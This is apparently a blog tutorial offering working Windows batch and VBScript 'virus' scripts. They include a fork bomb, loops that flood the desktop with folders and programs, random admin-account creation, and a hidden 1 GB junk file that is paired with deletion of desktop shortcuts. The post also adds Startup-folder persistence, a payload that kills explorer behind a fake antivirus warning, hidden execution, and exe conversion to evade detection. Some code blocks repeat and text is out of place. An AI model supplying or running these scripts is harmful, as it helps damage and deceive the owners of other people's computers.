With Batch scripts we can creates some cool and funny virus scripts. In this post i am gonna explain you some batch virus scripts. But remember don't run these scripts directly in your PC otherwise it will crash your PC, i test all these scripts in Virtual Box. In order to properly understand these codes or create your own virus scripts you need to know some basics of Batch scripting and windows commands. For the Basics of Batch scripting see my previous post Windows Batch Scripting Guide For Beginners or just Google about it.
Note : This article is Only written for educational purpose and i just want to show you some Batch scripting hacks. If you harm yours or others system then i am not responsible for it.
So Now Lets see some Batch virus codes :
Folder_Bomber
::folder Bomber
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop
The above script will randomly creates thousands of folders on Desktop. To create a Batch script just open the notepad and paste that above given code on it then go to the file menu and click on "Save as" option, change the "Save as type" to "All files" and type "virus.bat" to filename box where ".bat" is extension of Batch file then click on save button.
Program_Bomber
::Program Bomber
@echo off
:loop
start cmd.exe
start notepad.exe
start calc.exe
start explorer.exe
start write
start mspaint
goto loop
@echo off
:loop
start cmd.exe
start notepad.exe
start calc.exe
start explorer.exe
start write
start mspaint
goto loop
This code will runs command prompt, notepad, Calculator, MSword, MSpaint etc. in infinite loop.
PC_Crasher
@echo off
:Loop
start %0
goto Loop
:Loop
start %0
goto Loop
The above code will crash the PC.
Account_Creator
@echo off
:Loop
net user %random% %random% /add
goto Loop
:Loop
net user %random% %random% /add
goto Loop
The above code will creates new user accounts with random names and passwords. Note the "net user" command will need administrator privilege, thus to run the above code on windows 7 & 8 you need to admin privilege.
Site_Opener
@echo off
:Loop
start www.google.com
start www.yahoo.com
start www.bing.com
start www.microsoft.com
start www.softpedia.com
start www.youtube.com
start www.facebook.com
start www.twitter.com
start www.whatsapp.com
start www.amazon.com
start www.ebay.com
start www.apple.com
start www.intel.com
start www.amd.com
goto Loop
:Loop
start www.google.com
start www.yahoo.com
start www.bing.com
start www.microsoft.com
start www.softpedia.com
start www.youtube.com
start www.facebook.com
start www.twitter.com
start www.whatsapp.com
start www.amazon.com
start www.ebay.com
start www.apple.com
start www.intel.com
start www.amd.com
goto Loop
This code will open all these site in infinite loop.
Drive_Pumper
@echo off
setlocal ENABLEEXTENSIONS
cd %appdata%
set name=%random%
echo "This is just a sample line appended to create a big file. " > %name%.dll
for /L %%i in (1,1,24) do type %name%.dll >> %name%.dll
attrib +r +h %name%.dll
del "%userprofile%\Desktop\*.lnk"
The above code will create a 1 GB garbage file on AppData folder and then delete all the Desktop icons.
setlocal ENABLEEXTENSIONS
cd %appdata%
set name=%random%
echo "This is just a sample line appended to create a big file. " > %name%.dll
for /L %%i in (1,1,24) do type %name%.dll >> %name%.dll
attrib +r +h %name%.dll
del "%userprofile%\Desktop\*.lnk"
The above code will create a 1 GB garbage file on AppData folder and then delete all the Desktop icons.
Running Batch script in hidden Mode
When we run these batch scripts, its shows a console window. To solve these problem we need to run batch script with the help of a VBscript. Here is the code for VBscript
set RunBatch = createObject("WScript.Shell")
RunBatch.Run "Path of Batch Script", vbHide, TRUE
The file extension of VBscript is ".vbs". For running a Batch script named "test.bat", codes will be
to run batch file, just click on the Vbscript file
where hidden.vbs is vbscript.
@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes
:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus
:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus
:install_virus
copy %0 %RC%
:virus_codes
:: Now your virus codes starts here
set RunBatch = createObject("WScript.Shell")
RunBatch.Run "C:\Users\Ajay\Desktop\test.bat", vbHide, TRUE
to run batch file, just click on the Vbscript file
where hidden.vbs is vbscript.
Running Virus at every Startup
Now if you want to automatically run these virus files at every startup then copy the Batch file into this Location
in Windows 7 & 8 : "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
in Windows Xp : "%userprofile%\Start Menu\Programs\Startup"
or add this extra code into the beginning of the batch virus file
@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes
:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus
:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus
:install_virus
copy %0 %RC%
:virus_codes
:: Now your virus codes starts here
The above code will first examine the victim's OS, then automatically copy itself into startup folder. After apply this above code on Folder_Bomber's codes looks like
first browse the batch file and then click on compile button, this program also consists some additional options like Custom Icon, run in background, delete after execution etc.
@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes
:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus
:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus
:install_virus
copy %0 %RC%
:virus_codes
:: Now your virus codes starts here
::folder Bomber
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop
VBscript Virus
Now here is a Batch code which creates a VBscript in startup folder. This VBscript virus will automatically start after every reboot and terminate the Desktop, shows the fake error message then start Desktop[explorer.exe] again & again 50 times with some time duration. Here is codes
@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto end
:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto Create_virus
:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto Create_virus
:Create_virus
echo Dim i > %RC%\virus.vbs
echo i = 0 >> %RC%\virus.vbs
echo Do >> %RC%\virus.vbs
echo wscript.sleep 100000 >> %RC%\virus.vbs
echo Set Myshell = wscript.CreateObject("WScript.Shell") >> %RC%\virus.vbs
echo Myshell.run "taskkill /F /IM explorer.exe" >> %RC%\virus.vbs
echo wscript.sleep 1000 >> %RC%\virus.vbs
echo btv = msgbox("It seems Your Anti-Virus Program does not work Properly, So Please update it or remove it now.", 6, "Microsoft!!") >> %RC%\virus.vbs
echo wscript.sleep 10000 >> %RC%\virus.vbs
echo Myshell.run "explorer.exe" >> %RC%\virus.vbs
echo i = i + 1 >> %RC%\virus.vbs
echo Loop until i = 50 >> %RC%\virus.vbs
goto end
:end
exit
@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto end
:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto Create_virus
:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto Create_virus
:Create_virus
echo Dim i > %RC%\virus.vbs
echo i = 0 >> %RC%\virus.vbs
echo Do >> %RC%\virus.vbs
echo wscript.sleep 100000 >> %RC%\virus.vbs
echo Set Myshell = wscript.CreateObject("WScript.Shell") >> %RC%\virus.vbs
echo Myshell.run "taskkill /F /IM explorer.exe" >> %RC%\virus.vbs
echo wscript.sleep 1000 >> %RC%\virus.vbs
echo btv = msgbox("It seems Your Anti-Virus Program does not work Properly, So Please update it or remove it now.", 6, "Microsoft!!") >> %RC%\virus.vbs
echo wscript.sleep 10000 >> %RC%\virus.vbs
echo Myshell.run "explorer.exe" >> %RC%\virus.vbs
echo i = i + 1 >> %RC%\virus.vbs
echo Loop until i = 50 >> %RC%\virus.vbs
goto end
:end
exit
Converting Batch file into Executable Application
It is easier to detect Batch virus because anyone can saw the codes of Batch scripts. So to prevents this we also convert a Batch script into executable application using third party softweres.
Bat_To_Exe_Converter
first browse the batch file and then click on compile button, this program also consists some additional options like Custom Icon, run in background, delete after execution etc.
You can also try this Bat2Exe_Converter program written by me in vb.net. It consists some additional functionality like File Binding options etc.
For more details and Download see my previous post : Batch 2 Exe Converter written in VB.net
It would worked fine in Windows 7 & 8 (both 32/64 bit), but due to dotnetframework dependency it might not work on windows Xp.
Batch virus Generator Programs
You can also creates Batch virus using Virus creation Tools. Some of the best batch Virus creation tools are listed below
DELmE's Batch Virus Maker
In Shadow Batch Virus Generator
Click_Here_To_Download
Note : your antivirus program will treat these virus generation programs as a virus so use this program at your own risk.
That's it!!, I hope you like this article, Thanks for visiting. !!!!